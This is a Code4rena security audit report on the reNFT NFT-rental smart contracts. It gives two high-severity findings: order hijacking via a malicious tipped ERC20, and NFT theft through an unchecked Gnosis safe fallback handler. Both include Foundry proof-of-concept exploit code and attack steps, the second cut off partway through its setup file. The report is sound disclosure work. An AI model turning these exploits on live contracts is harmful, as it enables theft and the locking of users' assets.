reNFT
Findings & Analysis Report

2024-03-20

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the reNFT smart contract system written in Solidity. The audit took place between January 8—January 18 2024.

Following the C4 audit, 3 wardens, sin1st3r__, juancito and EV_om, reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.

Wardens

126 Wardens contributed reports to the reNFT:

  1. DeFiHackLabs (IceBear, SunSec, xuwinnie, and ret2basic)
  2. sin1st3r__
  3. juancito
  4. EV_om
  5. said
  6. hash
  7. 0xDING99YA
  8. Beepidibop
  9. fnanni
  10. ladboy233
  11. AkshaySrivastav
  12. oakcobalt
  13. CipherSleuths (Viraz, and Udsen)
  14. BARW (BenRai, and albertwh1te)
  15. SBSecurity (Slavcheww, and Blckhv)
  16. KupiaSec
  17. 0xA5DF
  18. SAQ
  19. zzzitron
  20. serial-coder
  21. 0xAlix2 (a_kalout, and ali_shehab)
  22. rbserver
  23. evmboi32
  24. m4ttm
  25. piyushshukla
  26. kaden
  27. trachev
  28. 0xAnah
  29. fouzantanveer
  30. haxatron
  31. plasmablocks
  32. slvDev
  33. hunter_w3b
  34. tala7985
  35. albahaca
  36. kaveyjoe
  37. 0xepley
  38. hals
  39. 0xabhay
  40. J4X
  41. mussucal
  42. ZdravkoHr
  43. ZanyBonzy
  44. jasonxiale
  45. marqymarq10
  46. alix40
  47. 0xR360
  48. Lirios
  49. a3yip6
  50. israeladelaja
  51. JCN
  52. 0xpiken
  53. Jorgect
  54. Qkite (deth, and 0x3b)
  55. peter
  56. peanuts
  57. bareli
  58. OMEN
  59. Kalyan-Singh
  60. Topmark
  61. mgf15
  62. shamsulhaq123
  63. 0xhex
  64. 0xta
  65. sivanesh_808
  66. 0x11singh99
  67. krikolkk
  68. stackachu
  69. yongskiws
  70. clara
  71. pavankv
  72. catellatech
  73. ravikiranweb3
  74. rvierdiiev
  75. rokinot
  76. lanrebayode77
  77. 0xc695
  78. HSP
  79. cccz
  80. zach
  81. BI_security (ilchovski, and b0g0)
  82. pkqs90
  83. NentoR
  84. Tendency
  85. 0xmystery
  86. 7ashraf
  87. invitedtea
  88. dd0x7e8
  89. souilos
  90. petro_1912
  91. LokiThe5th
  92. Krace
  93. Giorgio
  94. yashar
  95. Coverage (0xrafaelnicolau, and zegarcao)
  96. roleengineer
  97. anshujalan
  98. DanielArmstrong
  99. Ward (natzuu, and 0xpessimist)
  100. ABAIKUNANBAEV
  101. 0xdice91
  102. imare
  103. Audinarey
  104. Aymen0909
  105. albertwh1te
  106. 0xHelium
  107. holydevoti0n
  108. SpicyMeatball
  109. 0xPsuedoPandit
  110. KingNFT
  111. deepplus
  112. zaevlad
  113. Hajime
  114. zzebra83
  115. boringslav

This audit was judged by 0xean.

Final report assembled by PaperParachute and thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 23 unique vulnerabilities. Of these vulnerabilities, 7 received a risk rating in the category of HIGH severity and 16 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 28 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 9 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 reNFT repository, and is composed of 12 smart contracts written in the Solidity programming language and includes 1663 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, LightChaser from warden ChaseTheLight, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (7)

[H-01] All orders can be hijacked to lock rental assets forever by tipping a malicious ERC20

Submitted by EV_om, also found by 0xDING99YA

The Create contract is responsible for creating a rental. It achieves this by acting as a Seaport Zone, and storing and validating orders as rentals when they are fulfilled on Seaport.

However, one thing it doesn’t account for is the fact that Seaport allows for “tipping” in the form of ERC20 tokens as part of the order fulfillment process. This is done by extending the consideration array in the order with additional ERC20 tokens.

From the Seaport docs (emphasis mine):

The consideration contains an array of items that must be received in order to fulfill the order. It contains all of the same components as an offered item, and additionally includes a recipient that will receive each item. This array may be extended by the fulfiller on order fulfillment so as to support “tipping” (e.g. relayer or referral payments).

This other passage, while discussing a different issue, even highlights the root cause of this vulnerability (the zone does not properly allocate consideration extensions):

As extensions to the consideration array on fulfillment (i.e. “tipping”) can be arbitrarily set by the caller, fulfillments where all matched orders have already been signed for or validated can be frontrun on submission, with the frontrunner modifying any tips. Therefore, it is important that orders fulfilled in this manner either leverage “restricted” order types with a zone that enforces appropriate allocation of consideration extensions, or that each offer item is fully spent and each consideration item is appropriately declared on order creation.

Let’s dive in and see how tipping works exactly. We know fulfillers may use the entry points listed here, the first of which is simply a wrapper to _validateAndFulfillAdvancedOrder(). This function calls _validateOrderAndUpdateStatus() , which derives the order hash by calling _assertConsiderationLengthAndGetOrderHash(). At the end of the trail, we can see that the order hash is finally derived in _deriveOrderHash() from other order parameters as well as the consideration array, but only up to the totalOriginalConsiderationItems value in the parameters of the AdvancedOrder passed by the fulfiller as argument. This value reflects the original length of the consideration items in the order.
https://github.com/ProjectOpenSea/seaport-types/blob/25bae8ddfa8709e5c51ab429fe06024e46a18f15/src/lib/ConsiderationStructs.sol#L143-L156

struct OrderParameters {
    address offerer; // 0x00
    address zone; // 0x20
    OfferItem[] offer; // 0x40
    ConsiderationItem[] consideration; // 0x60
    OrderType orderType; // 0x80
    uint256 startTime; // 0xa0
    uint256 endTime; // 0xc0
    bytes32 zoneHash; // 0xe0
    uint256 salt; // 0x100
    bytes32 conduitKey; // 0x120
    uint256 totalOriginalConsiderationItems; // 0x140
    // offer.length                          // 0x160
}

Thus we can see that when deriving the order hash the extra consideration items are ignored, which is what allows the original signature of the offerer to match. However, in the ZoneParameters passed on to the zone, all consideration items are included in one array, and there is no obvious way to distinguish tips from original items:

struct ZoneParameters {
    bytes32 orderHash;
    address fulfiller;
    address offerer;
    SpentItem[] offer;
    ReceivedItem[] consideration;
    // the next struct member is only available in the project's fork
    ReceivedItem[] totalExecutions;
    bytes extraData;
    bytes32[] orderHashes;
    uint256 startTime;
    uint256 endTime;
    bytes32 zoneHash;
}

Finally, while the validateOrder() function in the Create contract verifies that the order fulfillment has been signed by the reNFT signer, the signed RentPayload does not depend on the consideration items, hence tipping is still possible.

The vulnerability arises when this capability is exploited to add a malicious ERC20 token to the consideration array. This malicious token can be designed to revert on transfer, causing the rental stop process to fail. As a result, the rented assets remain locked in the rental safe indefinitely.

Proof of Concept

We can validate the vulnerability through an additional test case for the Rent.t.sol test file. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

  1. Create a BASE order with Alice as the offerer.
  2. Finalize the order creation.
  3. Create an order fulfillment with Bob as the fulfiller.
  4. Append a malicious ERC20 token to the consideration array of the order.
  5. Finalize the order fulfillment.
  6. Attempt to stop the rent, which will fail due to the revert on transfer from the escrow.

A simple exploit contract could look as follows:

pragma solidity ^0.8.20;

import {ERC20} from "@openzeppelin-contracts/token/ERC20/ERC20.sol";

// This mock ERC20 will always revert on `transfer`
contract MockRevertOnTransferERC20 is ERC20 {
    constructor() ERC20("MockAlwaysRevertERC20", "M_AR_ERC20") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burn(address to, uint256 amount) public {
        _burn(to, amount);
    }

    function transfer(address, uint256) public pure override returns (bool) {
        require(false, "transfer() revert");
        return false;
    }
}

And the test:

import {
    Order,
    OrderParameters,
    ConsiderationItem,
    ItemType,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {MockRevertOnTransferERC20} from "@test/mocks/tokens/weird/MockRevertOnTransferERC20.sol";

    function test_Vuln_OrderHijackingByTippingMaliciousERC20() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });
        // ------- Identical to existing "test_Success_Rent_BaseOrder_ERC721" until here -------
        
        MockRevertOnTransferERC20 exploitErc20 = new MockRevertOnTransferERC20();
        // Seaport enforces non-zero quantities + approvals
        exploitErc20.mint(bob.addr, 100);
        vm.prank(bob.addr);
        exploitErc20.approve(address(conduit), type(uint256).max);

        // we acccess baseOrder.advancedOrder and add a consideration item
        OrderParameters storage params = ordersToFulfill[0].advancedOrder.parameters;
        params.consideration.push(ConsiderationItem({
            itemType: ItemType.ERC20,
            token: address(exploitErc20),
            identifierOrCriteria: 0,
            startAmount: 100,
            endAmount: 100,
            recipient: payable(address(ESCRW))
        }));

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // rental cannot be stopped since transfer from escrow will always revert
        vm.prank(bob.addr);
        vm.expectRevert(
            abi.encodeWithSelector(
                Errors.PaymentEscrowModule_PaymentTransferFailed.selector,
                exploitErc20,
                alice.addr,
                100
            )
        );
        stop.stopRent(rentalOrder);
    }

To run the exploit test:

  • Save the exploit contract as test/mocks/tokens/weird/MockRevertOnTransferERC20.sol.
  • Add the test to the Rent.t.sol test file and run it using the command forge test --mt test_Vuln_OrderHijackingByTippingMaliciousERC20. This will run the test above, which should demonstrate the exploit by successfully appending a malicious ERC20 to an existing order and starting a rental that cannot be stopped.

Tools Used

Foundry

Disallow tipping, either by removing this functionality in the Seaport fork or, if this isn’t possible, perhaps by adding the size of the consideration items to the ZoneParameters and reverting if there are more. This would prevent the addition of malicious ERC20 tokens to the consideration array, thereby preventing the hijacking of orders and the indefinite locking of rented assets in the rental safe.

Alec1017 (reNFT) confirmed

reNFT mitigated:

The PR here - Implements a whitelist so only granted assets can be used in the protocol.
The PR here - Implements batching functionality for whitelisting tokens so that multiple can be added at once.

Status: Mitigation confirmed. Full details in reports from juancito, EV_om and sin1st3r__.


[H-02] An attacker is able to hijack any ERC721 / ERC1155 he borrows because guard is missing validation on the address supplied to function call setFallbackHandler()

Submitted by sin1st3r__, also found by EV_om, hash, juancito, alix40, 0xDING99YA, 0xR360, zzzitron, Lirios, a3yip6, israeladelaja, 0xAlix2, Beepidibop, marqymarq10, and haxatron

Pre-requisite knowledge & an overview of the features in question


  1. Gnosis safe fallback handlers: Safes starting with version 1.1.1 allow to specify a fallback handler. A gnosis safe fallback handler is a contract which handles all functions that is unknown to the safe, this feature is meant to provide a great flexibility for the safe user. The safe in particular says “If I see something unknown, then I just let the fallback handler deal with it.”

    Example: If you want to take a uniswap flash loan using your gnosis safe, you’ll have to create a fallback handler contract with the callback function uniswapV2Call(). When you decide to take a flash loan using your safe, you’ll send a call to swap() in the uniswap contract. The uniswap contract will then reach out to your safe contract asking to call uniswapV2Call(), but uniswapV2Call() isn’t actually implemented in the safe contract itself, so your safe will reach out to the fallback handler you created, set as the safe’s fallback handler and ask it to handle the uniswapV2Call() TX coming from uniswap.

    Setting a fallback handler: To set a fallback handler for your safe, you’ll have to call the function setFallbackHandler() which you can find it’s logic in FallbackManager.sol

  2. Gnosis safe guards: A gnosis guard is a contract that acts as a transaction guard which allows the owner of the safe to limit the contracts and functions that may be called by the multisig owners of the safe. ReNFT has created it’s own gnosis guard contract, which is Guard.sol.

    Example utility: When you ask reNFT to create a rental safe for you by calling deployRentalSafe() in Factory.sol, reNFT creates a rental safe for you and automatically installs it’s own guard contract on it. Everytime you send a call from your gnosis safe, this call has to first pass through that guard. If you’re for example, trying to move a NFT token you rented using transferFrom(), it’ll prevent you from doing so. When it intercepts the transaction you’re trying to send, it checks for a list of function signatures that can be malicious, for example it checks if you’re trying to enable/disable a module it has not authorized. It checks if you’re trying to change the guard contract address itself, It also checks if you’re trying to transfer or approve a rented NFT or ERC1155 token using the most common functions like approve(), safeTransferFrom(), transferFrom(), setApprovalForAll(). This guard acts as the single and most important defense line against rented ERC721/1155 token theft.


The Vulnerability & Exploitation Steps


While the gnosis guard checks for a comprehensive list of potentially malicious function calls, it doesn’t have any validation or checks for the address parameter of the function setFallbackHandler(address handler), which is the function used by the rental safe owner to set a fallback handler his safe. This is super dangerous because it allows an attacker to hijack ANY ERC721 or ERC1155 token he rents by following these steps:

  1. Sets the fallback handler address of the safe to be the address of the token he rented which he wants to hijack, let’s say it’s an ERC721 token.
  2. Sends a transferFrom(from, to, tokenId) call to the gnosis safe contract while supplying the following parameters:

    1. from -> the address of the rental safe holding the token.
    2. to -> the address of the attacker himself.
    3. tokenId -> the ID of the token he wants to hijack.
  3. The gnosis safe contract doesn’t have the function transferFrom() implemented, so it’ll reach out and send a call to the fallback handler address which is the address of the rented token contract and forward the calldata gnosis received from the attacker’s call to the rented token contract.
  4. Since it’s the gnosis rental safe talking to the the rented token contract, and since the rental safe is the owner of the NFT, the ERC721 rented token contract will happily make the transfer and send the token to the attacker.
  5. Token is hijacked, and the lender of the token won’t be able to get it back or get the funds he’s supposed to receive from the rental process.

Proof of concept


To run the PoC, you’ll need to do the following:

  1. You’ll need to add the following two files to the test/ folder:

    1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
    2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
  2. You’ll need to run this command forge test --match-contract Exploit --match-test test_ERC721_1155_Exploit -vvv

Note: All of my 7 PoCs throughout my reports include the SetupExploit.sol. Please do not rely on the previous SetupExploit.sol file if you already had one in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure for the exploit

The files:

SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    ItemType as SeaportItemType,
    CriteriaResolver,
    OrderType as SeaportOrderType,
    Fulfillment,
    FulfillmentComponent
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {
    AdvancedOrderLib,
    ConsiderationItemLib,
    FulfillmentComponentLib,
    FulfillmentLib,
    OfferItemLib,
    OrderComponentsLib,
    OrderLib,
    OrderParametersLib,
    SeaportArrays,
    ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";

import {
    OrderMetadata,
    OrderType,
    OrderFulfillment,
    RentPayload,
    RentalOrder,
    Item,
    SettleTo,
    ItemType as RentalItemType
} from "@src/libraries/RentalStructs.sol";

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol";
import {Vm} from "@forge-std/Vm.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {LibString} from "@solady/utils/LibString.sol";
import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol";
import {Create2Deployer} from "@src/Create2Deployer.sol";
import {Kernel, Actions} from "@src/Kernel.sol";
import {Storage} from "@src/modules/Storage.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";
import {Create} from "@src/policies/Create.sol";
import {Stop} from "@src/policies/Stop.sol";
import {Factory} from "@src/policies/Factory.sol";
import {Admin} from "@src/policies/Admin.sol";
import {Guard} from "@src/policies/Guard.sol";
import {toRole} from "@src/libraries/KernelUtils.sol";
import {Proxy} from "@src/proxy/Proxy.sol";
import {Events} from "@src/libraries/Events.sol";

import {ProtocolAccount} from "@test/utils/Types.sol";
import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol";
import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import {ISafe} from "@src/interfaces/ISafe.sol";


// Deploys all V3 protocol contracts
contract Protocol is BaseExternal {
    // Kernel
    Kernel public kernel;

    // Modules
    Storage public STORE;
    PaymentEscrow public ESCRW;

    // Module implementation addresses
    Storage public storageImplementation;
    PaymentEscrow public paymentEscrowImplementation;

    // Policies
    Create public create;
    Stop public stop;
    Factory public factory;
    Admin public admin;
    Guard public guard;

    // Protocol accounts
    Vm.Wallet public rentalSigner;
    Vm.Wallet public deployer;

    // protocol constants
    bytes12 public protocolVersion;
    bytes32 public salt;

    function _deployKernel() internal {
        // abi encode the kernel bytecode and constructor arguments
        bytes memory kernelInitCode = abi.encodePacked(
            type(Kernel).creationCode,
            abi.encode(deployer.addr, deployer.addr)
        );

        // Deploy kernel contract
        vm.prank(deployer.addr);
        kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode));

        // label the contract
        vm.label(address(kernel), "kernel");
    }

    function _deployStorageModule() internal {
        // abi encode the storage bytecode and constructor arguments
        // for the implementation contract
        bytes memory storageImplementationInitCode = abi.encodePacked(
            type(Storage).creationCode,
            abi.encode(address(0))
        );

        // Deploy storage implementation contract
        vm.prank(deployer.addr);
        storageImplementation = Storage(
            create2Deployer.deploy(salt, storageImplementationInitCode)
        );

        // abi encode the storage bytecode and initialization arguments
        // for the proxy contract
        bytes memory storageProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(storageImplementation),
                abi.encodeWithSelector(
                    Storage.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy storage proxy contract
        vm.prank(deployer.addr);
        STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode));

        // label the contracts
        vm.label(address(STORE), "STORE");
        vm.label(address(storageImplementation), "STORE_IMPLEMENTATION");
    }

    function _deployPaymentEscrowModule() internal {
        // abi encode the payment escrow bytecode and constructor arguments
        // for the implementation contract
        bytes memory paymentEscrowImplementationInitCode = abi.encodePacked(
            type(PaymentEscrow).creationCode,
            abi.encode(address(0))
        );

        // Deploy payment escrow implementation contract
        vm.prank(deployer.addr);
        paymentEscrowImplementation = PaymentEscrow(
            create2Deployer.deploy(salt, paymentEscrowImplementationInitCode)
        );

        // abi encode the payment escrow bytecode and initialization arguments
        // for the proxy contract
        bytes memory paymentEscrowProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(paymentEscrowImplementation),
                abi.encodeWithSelector(
                    PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy payment escrow contract
        vm.prank(deployer.addr);
        ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode));

        // label the contracts
        vm.label(address(ESCRW), "ESCRW");
        vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION");
    }

    function _deployCreatePolicy() internal {
        // abi encode the create policy bytecode and constructor arguments
        bytes memory createInitCode = abi.encodePacked(
            type(Create).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy create rental policy contract
        vm.prank(deployer.addr);
        create = Create(create2Deployer.deploy(salt, createInitCode));

        // label the contract
        vm.label(address(create), "CreatePolicy");
    }

    function _deployStopPolicy() internal {
        // abi encode the stop policy bytecode and constructor arguments
        bytes memory stopInitCode = abi.encodePacked(
            type(Stop).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy stop rental policy contract
        vm.prank(deployer.addr);
        stop = Stop(create2Deployer.deploy(salt, stopInitCode));

        // label the contract
        vm.label(address(stop), "StopPolicy");
    }

    function _deployAdminPolicy() internal {
        // abi encode the admin policy bytecode and constructor arguments
        bytes memory adminInitCode = abi.encodePacked(
            type(Admin).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy admin policy contract
        vm.prank(deployer.addr);
        admin = Admin(create2Deployer.deploy(salt, adminInitCode));

        // label the contract
        vm.label(address(admin), "AdminPolicy");
    }

    function _deployGuardPolicy() internal {
        // abi encode the guard policy bytecode and constructor arguments
        bytes memory guardInitCode = abi.encodePacked(
            type(Guard).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy guard policy contract
        vm.prank(deployer.addr);
        guard = Guard(create2Deployer.deploy(salt, guardInitCode));

        // label the contract
        vm.label(address(guard), "GuardPolicy");
    }

    function _deployFactoryPolicy() internal {
        // abi encode the factory policy bytecode and constructor arguments
        bytes memory factoryInitCode = abi.encodePacked(
            type(Factory).creationCode,
            abi.encode(
                address(kernel),
                address(stop),
                address(guard),
                address(tokenCallbackHandler),
                address(safeProxyFactory),
                address(safeSingleton)
            )
        );

        // Deploy factory policy contract
        vm.prank(deployer.addr);
        factory = Factory(create2Deployer.deploy(salt, factoryInitCode));

        // label the contract
        vm.label(address(factory), "FactoryPolicy");
    }

    function _setupKernel() internal {
        // Start impersonating the deployer
        vm.startPrank(deployer.addr);

        // Install modules
        kernel.executeAction(Actions.InstallModule, address(STORE));
        kernel.executeAction(Actions.InstallModule, address(ESCRW));

        // Approve policies
        kernel.executeAction(Actions.ActivatePolicy, address(create));
        kernel.executeAction(Actions.ActivatePolicy, address(stop));
        kernel.executeAction(Actions.ActivatePolicy, address(factory));
        kernel.executeAction(Actions.ActivatePolicy, address(guard));
        kernel.executeAction(Actions.ActivatePolicy, address(admin));

        // Grant `seaport` role to seaport protocol
        kernel.grantRole(toRole("SEAPORT"), address(seaport));

        // Grant `signer` role to the protocol signer to sign off on create payloads
        kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr);

        // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol
        kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr);

        // Grant 'guard_admin` role to the address which can toggle hooks
        kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr);

        // Grant `stop_admin` role to the address which can skim funds from the payment escrow
        kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr);

        // Stop impersonating the deployer
        vm.stopPrank();
    }

    function setUp() public virtual override {
        // setup dependencies
        super.setUp();

        // create the rental signer address and private key
        rentalSigner = vm.createWallet("rentalSigner");

        // create the deployer address and private key
        deployer = vm.createWallet("deployer");

        // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract)
        protocolVersion = 0x000000000000000000000100;
        salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion);

        // deploy kernel
        _deployKernel();

        // Deploy payment escrow
        _deployPaymentEscrowModule();

        // Deploy rental storage
        _deployStorageModule();

        // deploy create policy
        _deployCreatePolicy();

        // deploy stop policy
        _deployStopPolicy();

        // deploy admin policy
        _deployAdminPolicy();

        // Deploy guard policy
        _deployGuardPolicy();

        // deploy rental factory
        _deployFactoryPolicy();

        // intialize the kernel
        _setupKernel();
    }
}


// Creates test accounts to interact with the V3 protocol
// Borrowed from test/fixtures/protocol/AccountCreator
contract AccountCreator is Protocol {
    // Protocol accounts for testing
    ProtocolAccount public alice;
    ProtocolAccount public bob;
    ProtocolAccount public carol;
    ProtocolAccount public dan;
    ProtocolAccount public eve;
    ProtocolAccount public attacker;

    // Mock tokens for testing
    MockERC20[] public erc20s;
    MockERC721[] public erc721s;
    MockERC1155[] public erc1155s;

    function setUp() public virtual override {
        super.setUp();

        // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens
        _deployTokens(3);

        // instantiate all wallets and deploy rental safes for each
        alice = _fundWalletAndDeployRentalSafe("alice");
        bob = _fundWalletAndDeployRentalSafe("bob");
        carol = _fundWalletAndDeployRentalSafe("carol");
        dan = _fundWalletAndDeployRentalSafe("dan");
        eve = _fundWalletAndDeployRentalSafe("eve");
        attacker = _fundWalletAndDeployRentalSafe("attacker");



    }

    function _deployTokens(uint256 numTokens) internal {
        for (uint256 i; i < numTokens; i++) {
            _deployErc20Token();
            _deployErc721Token();
            _deployErc1155Token();
        }
    }

    function _deployErc20Token() internal returns (uint256 i) {
        // save the token's index
        i = erc20s.length;

        // deploy the mock token
        MockERC20 token = new MockERC20();

        // push the token to the array of mocks
        erc20s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC20_", LibString.toString(i)));
    }

    function _deployErc721Token() internal returns (uint256 i) {
        // save the token's index
        i = erc721s.length;

        // deploy the mock token
        MockERC721 token = new MockERC721();

        // push the token to the array of mocks
        erc721s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC721_", LibString.toString(i)));
    }

    function _deployErc1155Token() internal returns (uint256 i) {
        // save the token's index
        i = erc1155s.length;

        // deploy the mock token
        MockERC1155 token = new MockERC1155();

        // push the token to the array of mocks
        erc1155s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC1155_", LibString.toString(i)));
    }

    function _deployRentalSafe(
        address owner,
        string memory name
    ) internal returns (address safe) {
        // Deploy a 1/1 rental safe
        address[] memory owners = new address[](1);
        owners[0] = owner;
        safe = factory.deployRentalSafe(owners, 1);



    }

    function _fundWalletAndDeployRentalSafe(
        string memory name
    ) internal returns (ProtocolAccount memory account) {
        // create a wallet with a address, public key, and private key
        Vm.Wallet memory wallet = vm.createWallet(name);

        // deploy a rental safe for the address
        address rentalSafe = _deployRentalSafe(wallet.addr, name);

        // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s
        _allocateTokensAndApprovals(wallet.addr, 10000);

        // create an account
        account = ProtocolAccount({
            addr: wallet.addr,
            safe: SafeL2(payable(rentalSafe)),
            publicKeyX: wallet.publicKeyX,
            publicKeyY: wallet.publicKeyY,
            privateKey: wallet.privateKey
        });

    }

    function _allocateTokensAndApprovals(address to, uint128 amount) internal {
        // deal ether to the recipient
        vm.deal(to, amount);

        // mint all erc20 tokens to the recipient
        for (uint256 i = 0; i < erc20s.length; ++i) {
            erc20s[i].mint(to, amount);
        }

        // set token approvals
        _setApprovals(to);
    }

    function _setApprovals(address owner) internal {
        // impersonate the owner address
        vm.startPrank(owner);

        // set all approvals for erc20 tokens
        for (uint256 i = 0; i < erc20s.length; ++i) {
            erc20s[i].approve(address(conduit), type(uint256).max);
        }

        // set all approvals for erc721 tokens
        for (uint256 i = 0; i < erc721s.length; ++i) {
            erc721s[i].setApprovalForAll(address(conduit), true);
        }

        // set all approvals for erc1155 tokens
        for (uint256 i = 0; i < erc1155s.length; ++i) {
            erc1155s[i].setApprovalForAll(address(conduit), true);
        }

        // stop impersonating
        vm.stopPrank();
    }
}



interface ERC1155TokenReceiver {

    function onERC1155Received(
        address _operator,
        address _from,
        uint256 _id,
        uint256 _value,
        bytes calldata _data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address _operator,
        address _from,
        uint256[] calldata _ids,
        uint256[] calldata _values,
        bytes calldata _data
    ) external returns (bytes4);
}

interface ERC721TokenReceiver {
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


/**
* Borrowed from gnosis safe smart contracts
* @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens.
* @author Richard Meissner - @rmeissner
*/
contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 {
    /**
    * @notice Handles ERC1155 Token callback.
    * return Standardized onERC1155Received return value.
    */
    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) {
        return 0xf23a6e61;
    }

    /**
    * @notice Handles ERC1155 Token batch callback.
    * return Standardized onERC1155BatchReceived return value.
    */
    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    ) external pure override returns (bytes4) {
        return 0xbc197c81;
    }

    /**
    * @notice Handles ERC721 Token callback.
    *  return Standardized onERC721Received return value.
    */
    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
        return 0x150b7a02;
    }

    /**
    * @notice Handles ERC777 Token callback.
    * return nothing (not standardized)
    */
    function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure {
        // We implement this for completeness, doesn't really have any value
    }

    /**
    * @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165.
    * @param interfaceId Id of the interface.
    * @return if the interface is supported.
    */
    function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
        return
            interfaceId == type(ERC1155TokenReceiver).interfaceId ||
            interfaceId == type(ERC721TokenReceiver).interfaceId ||
            interfaceId == type(IERC165).interfaceId;
    }

}



// Sets up logic in the test engine related to order creation
// Borrowed from test/fixtures/engine/OrderCreator
contract OrderCreator is AccountCreator {
    using OfferItemLib for OfferItem;
    using ConsiderationItemLib for ConsiderationItem;
    using OrderComponentsLib for OrderComponents;
    using OrderLib for Order;
    using ECDSA for bytes32;

    // defines a config for a standard order component
    string constant STANDARD_ORDER_COMPONENTS = "standard_order_components";

    struct OrderToCreate {
        ProtocolAccount offerer;
        OfferItem[] offerItems;
        ConsiderationItem[] considerationItems;
        OrderMetadata metadata;
    }

    // keeps track of tokens used during a test
    uint256[] usedOfferERC721s;
    uint256[] usedOfferERC1155s;

    uint256[] usedConsiderationERC721s;
    uint256[] usedConsiderationERC1155s;

    // components of an order
    OrderToCreate orderToCreate;

    function setUp() public virtual override {
        super.setUp();

        // Define a standard OrderComponents struct which is ready for
        // use with the Create Policy and the protocol conduit contract
